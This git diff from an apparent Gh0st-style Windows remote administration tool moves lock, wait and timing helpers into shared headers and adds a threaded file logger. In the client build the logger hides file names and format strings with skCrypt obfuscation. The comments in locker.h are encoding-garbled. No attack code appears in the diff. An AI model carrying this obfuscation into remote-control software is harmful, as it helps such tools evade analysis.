diff --git a/client/StdAfx.h b/client/StdAfx.h
index 2e037a9..9fab1ea 100644
--- a/client/StdAfx.h
+++ b/client/StdAfx.h
@@ -24,12 +24,6 @@
 #pragma once
 #endif // _MSC_VER > 1000
 
-#ifdef _DEBUG
-#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
-#else
-#define Mprintf(format, ...) 
-#endif
-
 // 检测内存泄漏，需安装VLD；否则请注释此行
 #include "vld.h"
 
@@ -49,50 +43,6 @@
 #include <MMSystem.h>
 #pragma comment(lib, "winmm.lib")
 
-// 高精度的睡眠函数
-#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
-
-// 以步长n毫秒在条件C下等待T秒(n是步长，必须能整除1000)
-#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
-
-// 在条件C成立时等待T秒(步长10ms)
-#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
-
-// 在条件C成立时等待T秒(步长1ms)
-#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
-
-#include <time.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-// 智能计时器，计算函数的耗时
-class auto_tick
-{
-private:
-	const char *func;
-	int span;
-	clock_t tick;
-	__inline clock_t now() const { return clock(); }
-	__inline int time() const { return now() - tick; }
-
-public:
-	auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
-	~auto_tick() { stop(); }
-
-	__inline void stop() {
-		if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]执行时间: [%d]ms.\n", func, s); span = 0; }
-	}
-};
-
-#ifdef _DEBUG
-// 智能计算当前函数的耗时，超时会打印
-#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
-#define STOP_TICK TICK.stop()
-#else
-#define AUTO_TICK(thresh) 
-#define STOP_TICK
-#endif
-
 #ifndef SAFE_DELETE
 #define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
 #endif
@@ -105,42 +55,5 @@ public:
 #define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
 #endif
 
-class CLock
-{
-private:
-	CRITICAL_SECTION m_cs;
-public:
-	CLock()
-	{
-		InitializeCriticalSection(&m_cs);
-	}
-	~CLock()
-	{
-		DeleteCriticalSection(&m_cs);
-	}
-
-	void Unlock()
-	{
-		LeaveCriticalSection(&m_cs);
-	}
-
-	void Lock()
-	{
-		EnterCriticalSection(&m_cs);
-	}
-};
-
-class CAutoLock
-{
-private:
-	CRITICAL_SECTION &m_cs;
-public:
-	CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
-	{
-		EnterCriticalSection(&m_cs);
-	}
-	~CAutoLock()
-	{
-		LeaveCriticalSection(&m_cs);
-	}
-};
+#include "common/logger.h"
+#include "common/locker.h"
diff --git a/common/locker.h b/common/locker.h
new file mode 100644
index 0000000..9722a77
--- /dev/null
+++ b/common/locker.h
@@ -0,0 +1,141 @@
+#pragma once
+
+#pragma warning(disable: 4996)
+#pragma warning(disable: 4819)
+
+// 浜掓枼閿併�佺潯鐪犲嚱鏁般�佽嚜鍔ㄩ攣銆佽嚜鍔ㄨ鏃躲�佽嚜鍔ㄦ棩蹇楃瓑
+
+#include "logger.h"
+
+// 鑷姩鏃ュ織
+class CAutoLog
+{
+private:
+    CRITICAL_SECTION *m_cs;
+	const char* name;
+public:
+    CAutoLog(const char* _name, CRITICAL_SECTION *cs=NULL) : name(_name), m_cs(cs)
+	{
+		Mprintf(">>> Enter thread %s: [%d]\n", name ? name : "", GetCurrentThreadId());
+        if (m_cs)EnterCriticalSection(m_cs);
+	}
+
+	~CAutoLog()
+	{
+        if (m_cs)LeaveCriticalSection(m_cs);
+		Mprintf(">>> Leave thread %s: [%d]\n", name ? name : "", GetCurrentThreadId());
+	}
+};
+
+class CLock {
+public:
+	CLock(CRITICAL_SECTION& cs) : m_cs(&cs)
+	{
+		Lock();
+	}
+	CLock() : m_cs(nullptr)
+	{
+		InitializeCriticalSection(&i_cs);
+	}
+	~CLock()
+	{
+		m_cs ? Unlock() : DeleteCriticalSection(&i_cs);
+	}
+
+	void Unlock()
+	{
+		LeaveCriticalSection(m_cs ? m_cs : &i_cs);
+	}
+
+	void Lock()
+	{
+		EnterCriticalSection(m_cs ? m_cs : &i_cs);
+	}
+
+	void unlock()
+	{
+		LeaveCriticalSection(m_cs ? m_cs : &i_cs);
+	}
+
+	void lock()
+	{
+		EnterCriticalSection(m_cs ? m_cs : &i_cs);
+	}
+
+protected:
+	CRITICAL_SECTION* m_cs; // 澶栭儴閿�
+	CRITICAL_SECTION	i_cs; // 鍐呴儴閿�
+};
+
+typedef CLock CLocker;
+
+class CAutoLock
+{
+private:
+	CRITICAL_SECTION &m_cs;
+
+public:
+    CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
+	{
+        EnterCriticalSection(&m_cs);
+	}
+
+	~CAutoLock()
+	{
+        LeaveCriticalSection(&m_cs);
+	}
+};
+
+// 鏅鸿兘璁℃椂鍣紝璁＄畻鍑芥暟鐨勮�楁椂
+class auto_tick {
+private:
+	const char* func;
+	int span;
+	clock_t tick;
+	__inline clock_t now() const {
+		return clock();
+	}
+	__inline int time() const {
+		return now() - tick;
+	}
+
+public:
+	auto_tick(const char* func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
+	~auto_tick() {
+		stop();
+	}
+
+	__inline void stop() {
+		if (span != 0) {
+			int s(this->time());
+			if (s > span)Mprintf("[%s] cost: [%d]ms.\n", func, s);
+			span = 0;
+		}
+	}
+};
+
+#ifdef _DEBUG
+// 鏅鸿兘璁＄畻褰撳墠鍑芥暟鐨勮�楁椂锛岃秴鏃朵細鎵撳嵃
+#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
+#define STOP_TICK TICK.stop()
+#else
+#define AUTO_TICK(thresh)
+#define STOP_TICK
+#endif
+
+#define AUTO_TICK_C AUTO_TICK
+
+#include <MMSystem.h>
+#pragma comment(lib, "winmm.lib")
+
+// 楂樼簿搴︾殑鐫＄湢鍑芥暟
+#define Sleep_m(ms) { Sleep(ms); }
+
+// 浠ユ闀縩姣鍦ㄦ潯浠禖涓嬬瓑寰匱绉�(n鏄闀匡紝蹇呴』鑳芥暣闄�1000)
+#define WAIT_n(C, T, n) { int s=(1000*(T))/(n); s=max(s,1); do{Sleep(n);}while((C)&&(--s)); }
+
+// 鍦ㄦ潯浠禖鎴愮珛鏃剁瓑寰匱绉�(姝ラ暱10ms)
+#define WAIT(C, T) { WAIT_n(C, T, 10); }
+
+// 鍦ㄦ潯浠禖鎴愮珛鏃剁瓑寰匱绉�(姝ラ暱1ms)
+#define WAIT_1(C, T) { WAIT_n(C, T, 1); }
diff --git a/common/logger.h b/common/logger.h
new file mode 100644
index 0000000..ab4be04
--- /dev/null
+++ b/common/logger.h
@@ -0,0 +1,234 @@
+#pragma once
+#pragma warning(disable: 4996)
+#ifdef _WIN32
+#ifdef _WINDOWS
+#include <afxwin.h>
+#else
+#include <windows.h>
+#endif
+#include <iostream>
+#include <fstream>
+#include <mutex>
+#include <queue>
+#include <string>
+#include <thread>
+#include <condition_variable>
+#include <atomic>
+#include <chrono>
+#include <sstream>
+#include <cstdarg>
+#include "skCrypter.h"
+#include <iomanip>
+
+
+inline bool stringToBool(const std::string& str) {
+	std::string lower = str;
+	std::transform(lower.begin(), lower.end(), lower.begin(), ::tolower);
+	return (lower == "true" || lower == "1");
+}
+
+class Logger {
+public:
+	enum LogLevel {
+		InfoLevel, WarningLevel, ErrorLevel
+	};
+
+	// 单例模式
+	static Logger& getInstance() {
+		static Logger instance;
+		if (instance.pid.empty()) {
+			char buf[16] = {};
+			sprintf_s(buf, "%d", GetCurrentProcessId());
+			instance.pid = buf;
+			instance.InitLogFile("C:\\Windows\\Temp", instance.pid);
+#ifdef _WINDOWS
+			instance.enable = true; // 主控日志默认打开
+#else
+			char var[32] = {};
+			const char* name = skCrypt("ENABLE_LOG");
+			DWORD size = GetEnvironmentVariableA(name, var, sizeof(var));
+			instance.enable = stringToBool(var);
+			instance.log("logger.h", __LINE__, "GetEnvironmentVariable: %s=%s\n", name, var);
+#endif
+		}
+		return instance;
+	}
+
+	// 禁止拷贝和赋值
+	Logger(const Logger&) = delete;
+	Logger& operator=(const Logger&) = delete;
+
+	// 设置日志文件名
+	void setLogFile(const std::string& filename) {
+		std::lock_guard<std::mutex> lock(fileMutex);
+		logFileName = filename;
+	}
+
+	// 启用日志
+	void usingLog(bool b = true) {
+		enable = b;
+	}
+
+	// 写日志，支持 printf 格式化
+	void log(const char* file, int line, const char* format, ...) {
+		va_list args;
+		va_start(args, format);
+
+		std::string message = formatString(format, args);
+
+		va_end(args);
+
+		auto timestamp = getCurrentTimestamp();
+		std::string id = pid.empty() ? "" : "[" + pid + "]";
+
+		std::string logEntry = id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message;
+		if (enable)
+		{
+			if (running) {
+				std::lock_guard<std::mutex> lock(queueMutex);
+				logQueue.push(logEntry);
+			} else {
+				writeToFile(logEntry);
+			}
+		}
+#ifndef _WINDOWS
+#ifdef _DEBUG
+		printf(logEntry.c_str());
+#endif
+#endif
+		cv.notify_one(); // 通知写线程
+	}
+
+	// 停止日志系统
+	void stop() {
+		if (!running) return;
+		{
+			std::lock_guard<std::mutex> lock(queueMutex);
+			running = false;  // 设置运行状态
+		}
+		cv.notify_one();
+		if (workerThread.joinable()) {
+			workerThread.join();
+		}
+		for (int i = 0; threadRun && i++ < 1000; Sleep(1));
+	}
+
+private:
+	// 日志按月份起名
+	void InitLogFile(const std::string & dir, const std::string& pid) {
+		time_t currentTime = time(nullptr);
+		tm* localTime = localtime(&currentTime);
+		char timeString[32];
+		strftime(timeString, sizeof(timeString), "%Y-%m", localTime);
+		char fileName[100];
+#ifdef _WINDOWS
+		sprintf_s(fileName, "\\YAMA_%s_%s.txt", timeString, pid.c_str());
+#else
+		sprintf_s(fileName, "\\log_%s_%s.txt", timeString, pid.c_str());
+#endif
+		logFileName = dir + fileName;
+	}
+	std::string logFileName;			 // 日志文件名
+	bool enable;						 // 是否启用
+	bool threadRun;					     // 日志线程状态
+	std::queue<std::string> logQueue;    // 日志队列
+	std::mutex queueMutex;               // 队列互斥锁
+	std::condition_variable cv;          // 条件变量
+	std::atomic<bool> running;           // 是否运行
+	std::thread workerThread;            // 后台线程
+	std::mutex fileMutex;                // 文件写入锁
+	std::string pid;					 // 进程ID
+
+	Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
+
+	~Logger() {
+		stop();
+	}
+
+	// 后台线程处理日志
+	void processLogs() {
+		threadRun = true;
+		while (running) {
+			std::unique_lock<std::mutex> lock(queueMutex);
+			cv.wait(lock, [this]() {
+				return !running || !logQueue.empty(); 
+				});
+
+			while (running && !logQueue.empty()) {
+				std::string logEntry = logQueue.front();
+				logQueue.pop();
+				lock.unlock();
+
+				// 写入日志文件
+				writeToFile(logEntry);
+
+				lock.lock();
+			}
+			lock.unlock();
+		}
+		threadRun = false;
+	}
+
+	// 写入文件
+	void writeToFile(const std::string& logEntry) {
+		std::lock_guard<std::mutex> lock(fileMutex);
+		std::ofstream logFile(logFileName, std::ios::app);
+		if (logFile.is_open()) {
+			logFile << logEntry << std::endl;
+		}
+	}
+
+	// 获取当前时间戳
+	std::string getCurrentTimestamp() {
+		auto now = std::chrono::system_clock::now();
+		auto in_time_t = std::chrono::system_clock::to_time_t(now);
+
+		std::tm tm;
+#ifdef _WIN32
+		localtime_s(&tm, &in_time_t);  // Windows 安全版本
+#else
+		localtime_r(&in_time_t, &tm);  // POSIX 安全版本
+#endif
+
+		std::stringstream ss;
+		ss << std::put_time(&tm, "%Y-%m-%d %H:%M:%S");
+		return ss.str();
+	}
+
+	// 将日志级别转换为字符串
+	std::string logLevelToString(LogLevel level) {
+		switch (level) {
+		case InfoLevel: return "INFO";
+		case WarningLevel: return "WARNING";
+		case ErrorLevel: return "ERROR";
+		default: return "UNKNOWN";
+		}
+	}
+
+	// 格式化字符串
+	std::string formatString(const char* format, va_list args) {
+		char buffer[1024];
+		vsnprintf(buffer, sizeof(buffer), format, args);
+		return std::string(buffer);
+	}
+};
+
+inline const char* getFileName(const char* path) {
+	const char* fileName = strrchr(path, '\\');
+	if (!fileName) {
+		fileName = strrchr(path, '/');
+	}
+	return fileName ? fileName + 1 : path;
+}
+
+#ifdef _WINDOWS
+#ifdef _DEBUG
+#define Mprintf(format, ...) TRACE(format, __VA_ARGS__)
+#else
+#define Mprintf(format, ...) Logger::getInstance().log(getFileName(__FILE__), __LINE__, format, __VA_ARGS__)
+#endif
+#else
+#define Mprintf(format, ...) Logger::getInstance().log(getFileName(skCrypt(__FILE__)), __LINE__, skCrypt(format), __VA_ARGS__)
+#endif
+
+#endif // _WIN32
diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h
index 3399301..bdb2aa3 100644
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -373,47 +373,6 @@ public:
 
 typedef IOCPServer ISocketBase;
 
-class CLock     
-{
-public:
-	CLock(CRITICAL_SECTION& cs) : m_cs(&cs)
-	{
-		Lock();
-	}
-	CLock() : m_cs(nullptr)
-	{
-		InitializeCriticalSection(&i_cs);
-	}
-	~CLock()
-	{
-		m_cs ? Unlock() : DeleteCriticalSection(&i_cs);
-	}
-
-	void Unlock()
-	{
-		LeaveCriticalSection(m_cs ? m_cs : &i_cs);
-	}
-
-	void Lock()
-	{
-		EnterCriticalSection(m_cs ? m_cs : &i_cs);
-	}
-
-	void unlock()
-	{
-		LeaveCriticalSection(m_cs ? m_cs : &i_cs);
-	}
-
-	void lock()
-	{
-		EnterCriticalSection(m_cs ? m_cs : &i_cs);
-	}
-
-protected:
-	CRITICAL_SECTION*	m_cs; // 外部锁
-	CRITICAL_SECTION	i_cs; // 内部锁
-};
-
 #define TRACK_OVERLAPPEDPLUS 0
 
 class OVERLAPPEDPLUS   
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index 0be2720..97cfff3 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -20,12 +20,6 @@
 #define VC_EXTRALEAN            // 从 Windows 头中排除极少使用的资料
 #endif
 
-#ifdef _DEBUG
-#define Mprintf(format, ...) TRACE(format, ##__VA_ARGS__)
-#else
-#define Mprintf(format, ...) 
-#endif
-
 // 移除对话框中MFC控件的支持，减小静态编译程序的大小
 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
 
@@ -117,47 +111,9 @@ enum
 #include <MMSystem.h>
 #pragma comment(lib, "winmm.lib")
 
-// 高精度的睡眠函数
-#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
-
-// 以步长n毫秒在条件C下等待T秒(n是步长，必须能整除1000)
-#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
-
-// 在条件C成立时等待T秒(步长10ms)
-#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
-
-// 在条件C成立时等待T秒(步长1ms)
-#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
-
-// 智能计时器，计算函数的耗时
-class auto_tick
-{
-private:
-	const char *func;
-	int span;
-	clock_t tick;
-	__inline clock_t now() const { return clock(); }
-	__inline int time() const { return now() - tick; }
-
-public:
-	auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
-	~auto_tick() { stop(); }
-
-	__inline void stop() {
-		if (span != 0) { int s(this->time()); if (s > span)TRACE("[%s]执行时间: [%d]ms.\n", func, s); span = 0; }
-	}
-};
-
-#ifdef _DEBUG
-// 智能计算当前函数的耗时，超时会打印
-#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
-#define STOP_TICK TICK.stop()
-#else
-#define AUTO_TICK(thresh) 
-#define STOP_TICK 
-#endif
-
 #define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; }
 #define SAFE_DELETE_ARRAY(p) if(p){ delete[] (p); (p) = NULL; }
 
+#include "common/logger.h"
+#include "common/locker.h"
 #include "common/commands.h"